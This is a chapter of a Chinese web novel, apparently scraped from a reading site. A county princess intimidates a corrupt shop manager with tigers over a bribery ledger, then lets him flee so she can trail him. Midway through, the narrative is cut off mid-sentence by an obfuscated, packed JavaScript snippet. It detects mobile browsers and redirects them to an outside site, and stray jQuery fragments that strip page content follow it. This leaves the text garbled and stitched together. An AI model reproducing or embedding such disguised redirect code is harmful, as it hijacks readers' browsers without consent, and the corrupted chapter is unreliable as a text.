上侃 作品

159. 我那温柔好骗的亡夫

段字一出,朱成仁明显脸色不自然了,他还想继续否认,可是李熙一副笃定的模样让他无从辩驳。


他深知这丫头肯定来者不善,一双眼睛瞬间凶相毕露:“你究竟是什么人?和段家什么关系?小丫头,人为财死鸟为食亡,我劝你和你没关系的事情少掺合,不然到时候死都不知道怎么死的。”


夏长鸣抽出腰间的防身匕首,腰肢一带,匕首如利箭飞出,只听“铮”地一声,朱成仁瞬间脸色煞白。


他喉头滚动,微微低头,那锋利的匕首就插在他两腿之间,他吓得汗流浃背,他不自觉往后缩了缩脖子,整个人既后怕又庆幸。


夏长鸣媚眼微勾,只是这回不是魅惑而是不满:“老实点,在这儿威胁谁呢?”


这娘们可真狠!在朱成仁心中夏长鸣已经从那美人儿变成了那娘们,可见他此刻的心境了。


李熙勾唇笑了笑:“段家消失已久,明康的百姓不知道我是谁也情有可原,不过你们应该知道的,毕竟……你们心中有鬼。”


天下熙熙皆为利来,天下攘攘皆为利往,和段家有利益关系的人绝对不会错过许舒宁回到明康的消息,更不会错过她与许舒宁举办过定亲礼的消息。


“你究竟是谁?”朱成仁望着她,他隐约猜到了可是还是不太确定。


“段家小公子段景深的夫人。”李熙缓缓道。


“哈?段景深的夫人?段景深那短命鬼不是死了吗?他还有夫人?我可没听见他成亲了啊?”朱成飞直接揣着明白装糊涂。


“段景深……”朱成仁心中惊疑不定:“你就是那个乡下来的还克夫的明熙县主?”


乡下来的,还克夫?原来明康对她是这种评价。


“县、县主?”朱成飞瞪大了眼睛不可置信:“县主怎么会出现在青楼给咱们弹曲儿?成仁,你会不会是猜错了?”


朱成仁知道李熙的身份后反而变得有恃无恐,他大声嚷嚷起来:“哪怕你是县主又如何?我们一向老实,诚信经营童叟无欺,倒是县主您,平白无故将我们囚禁在这里,县主可清楚南朝律法?县主啊,这可是天子脚下,是有大理寺和官府的,您可不能仗势欺人草菅人命啊!”


朱成仁不愧是商人出身,精明得很,他早知李熙身份在那里,不能拿他怎么样,所以才敢大着胆子闹起来。


“就是就是,信不信我们去告官!”朱成飞也忙威胁道。


可是李熙不吃他那套,她淡淡抬眸,翻了翻腿上铺开的账薄,声音也云淡风轻的:“红契在我手上,我只是收回我自己的东西罢了,只不过鸠占鹊巢的鸠不归还,我才小小动用了点手段。”


说着李熙忽然一笑,看向朱成仁,似乎想起了什么有趣的事情,笑道:“说起来你们应该不知道我的出身吧?”


朱成仁看着她的笑容隐隐有种不好的预感,却听她弯了弯眉,语气不变:“我李熙自出生便是流民,后来落草为寇,后来吕县大战,手上也沾了不少鲜血,囚禁?你们太小看我了,斩草不出根,我这人做不出来。不过你们倒是提醒我了,我现在的身份是那劳什子明熙县主,为了皇帝安心,我应该安分守己,既如此,那就只能让你们闭嘴了。可是师傅,世界上没有不漏风的墙,我该怎么办才好呢?”


李熙故作苦恼地看向夏长鸣。


所以夏长鸣才说她坏,轻描淡写就让人害怕得不行。可是夏长鸣乐得配合她,她故作夸张道:“呀!那就只有死人才不会说话了。”


朱成仁听了冷汗直流。他对这个新来的明熙县主有所耳闻,明康权贵多惊讶她踩了什么狗屎运竟能得到陛下的青睐,但是朱成仁是个商人,天生就会比别人想得多,那时他还保持怀疑的态度,可现在看来,这明熙县主哪里是外头来的乡巴佬,明明是被招安的土匪头子!


既然她杀人如麻,那她就根本不怕什么报官的威胁……


“等等,我们不报官,我们绝对不报官,你想要什么,咱们再商量商量!”朱成仁极其见风使舵。


李熙这才又翻了一页,眼睛缓缓垂落:“听闻朱掌柜幼时曾是一目十行,过目不忘的神童,所以才被段夫人选中做她陪嫁的掌柜。说来也巧,我今日走在路上恰好捡到得到一本账簿,一看竟写着锦段阁的名字,想来朱掌柜是锦段阁的掌柜,一定也曾看过吧。”


朱成仁闻言,目光瞬间僵硬,他愣愣看向她轻描淡写翻过的账簿脑袋上冷汗直流。


账簿怎么会在她手上?什么恰好捡到,那都是狗屁,他的账薄可是放在他的房间里的!


这个女人究竟是谁?她怎么会盯上他?又是怎样的神通广大才会不声不响取走了他的账簿?


朱成仁越想越害怕,那汗水滴答滴答跟下大雨似的,希望最糟糕的事情没有发生……他僵着表情:“看、看过。”此刻撒谎已经没有了任何意义。


李熙却将账簿一合,朝他笑道:“正巧无聊,那就来做个小游戏。我来考考朱掌柜的神通,若是朱掌柜都答上来了,我就放了你们,若是答不上来,我就只能送你们去喂我的小宝贝们了。”


夏长鸣适时按下墙上的机关,一瞬间,墙面轰动,四面石壁缓缓升上去,露出黑暗中四双绿幽幽的眸子,朱成仁朱成飞兄弟心里一寒,接着就听见一声咆哮。


二人浑身一震,眼神发抖。


“那、那是……”


四只巨大的猛虎优雅地从石墙中走出来,它们毛发茂盛干净,锋利的虎牙之间隐约可见肉屑,那双幽森发绿的眸子直勾勾望着肥头大耳的兄弟二人。


“明、明康禁止私自饲养猛兽……”朱成飞哆哆嗦嗦道,声音到底底气不足。


李熙只是含笑看着朱成仁:“朱掌柜,你考虑太久了。”


朱成仁刚刚是被吓到了,经李熙提醒才回过神来,他吓得浑身发抖,缩成一团:“你、你真的放我们走?”


“若朱掌柜配合。”


“我、我答应你!”朱成仁哪里敢不从,光是看着那几只老虎,他就已经觉得自己要死了。


“朱掌柜不必紧张,咱们从比较容易的开始。”李熙又缓缓翻开账簿。


“啧。朱掌柜这铺子经营得不太好啊,顺康十六年,也就是六年前,锦段阁布匹绸缎成本共计十二万两白银,可营收……”李熙转眸看向朱成仁。


朱成仁立马道:“营收十四万两白银,共计盈利两万两白银!”


“还学会抢答了?”夏长鸣笑得花枝乱颤。


李熙翻了翻,故作惊讶道:“朱掌柜不愧是过目不忘的神童,真是厉害。”


朱成仁松了口气:“那可以放……”


“可是错了。”李熙依然笑着,可那笑意却浅浅淡淡的。


“错了?怎么可能错?我弟弟的记忆不会错的!”朱成飞惊叫。


朱成仁也惊疑不定:“不会错的,上面肯定是这样写的,是我亲自写的!”


李熙看着他,弯了弯眉:“上面是这样写的不错,但是朱掌柜还是记错了。营收是二十四万两白银,朱掌柜忘记了,自己行贿还花了十万两。”


朱成仁心里咯噔一下彻底坠入谷底,他瞪大了眼睛,慌张起来:“你,我,这账簿……”这不是他放在房间的那一本账簿,这


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631597|157348||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


一本是真正的账簿,是他保命的手段之一。


“朱掌柜,密室这东西,很多人都有。”李熙的话彻底击碎了他的妄想。


朱成仁脸色惨白没有丝毫血色,他动了动嘴,什么都说不出来了。


可是他还没来得及理清自己该怎么办的时候,李熙大手一挥,四只老虎已然朝兄弟二人靠近。


“弟弟,你想想办法!求你了,你再问一次,再问一次我弟弟肯定能答得出来,求求你求求你!”朱成飞翻身跪地,眼泪鼻涕流了一地。


朱成仁惊醒,现在的状况已经由不得隐瞒,他也连忙道:“我、我记错了,求你,再给我一次机会!”


李熙靠着椅子,缓缓翘起腿来:“好啊,就再给你一次机会。”


四只老虎就像听得懂人话似的,立马就停住了脚步,只是依然用那双幽深可怖的眼睛直勾勾盯着他们,就像盯着砧板上的血肉。


“顺康十七年,朱掌柜这一年倒是不错,发达了不少。锦段阁布匹绸缎成本共计十万两白银,可营收……”


朱成仁眼睛一闭:“二十六万两白银,行贿十万两,盈利六万两白银。”


“朱掌柜这回倒是记得很清楚。”李熙缓缓合上账簿:“可以,我认可了。师傅,给他们松绑吧。”


夏长鸣愣了一下:“松绑?真松假松?”


朱成飞一下子吓尿了:“你们不能不讲信用啊!”


“真松。”李熙回道,抬手按下了另一个按钮,一道小门缓缓打开:“这是通往明康郊外的路,若想要活着,就头也不回的跑,我会放虎咬人的哦。”


朱成仁豁然睁开眼睛:“你不是说要放过我们吗?”


李熙弯眉,笑得有几分天真烂漫:“我会数十秒的,所以才叫你们头也不回就跑呀!”


李熙看见夏长鸣给他们松了绑,就挑了挑眉稍:“一……”


“快跑!”朱成仁和朱成飞兄弟不敢再问,连忙跌跌撞撞朝那小门奔去。


“二,三……”


小门哐当一下落下。


夏长鸣掩着嘴笑:“竟然骗人,您可真坏。”


李熙勾了勾嘴角,朝那四只老虎招了招手,四只老虎眼睛里的森冷退去,立马变得澄澈明亮,一只只撒着欢儿朝李熙跑过去。


李熙接住扑过来的平安,整个人都晃了晃:“平安,你又长胖了!”


她揉了两把主子,主子舒服地眯起了眼睛。


夏长鸣见了微微羡慕,可惜这四只只让她家小主子亲近:“那两个哪里知道,咱们这四个小主子可从不吃人,尤其是臭男人,多脏啊,他们怕死,我们还怕吃了得病呢!”


李熙雨露均沾都撸了个遍。


“对了主子,您怎么不问那受贿的是谁?难道您知道?”夏长鸣想起正事儿,多问了一句。


“不知道呀。”李熙理所当然道。


“朱成仁此人胆小如鼠却极其聪明,他将受贿人与受贿金额分成两个账簿,我们的人一直没有找到另一个账簿。”


夏长鸣眨了眨眼睛,更加迷茫:“那您怎么不问?”


“我问了他敢说吗?若说了,他们朱家无非就是今晚死和明天死的区别,还不如放了他们。”李熙抱起暴富,轻轻捏住它的牙齿:“吃肉不洗牙,坏孩子。”


“嗷呜~”暴富委屈的嘤咛一声。


李熙拍了拍它圆润的虎头:“放心吧,我已派人盯住他们两个了,他们如今心神不宁,畏我如虎,一定会找人商议如何解决此事,我们守株待兔即可。”


“您总是不会错的。”夏长鸣笑道。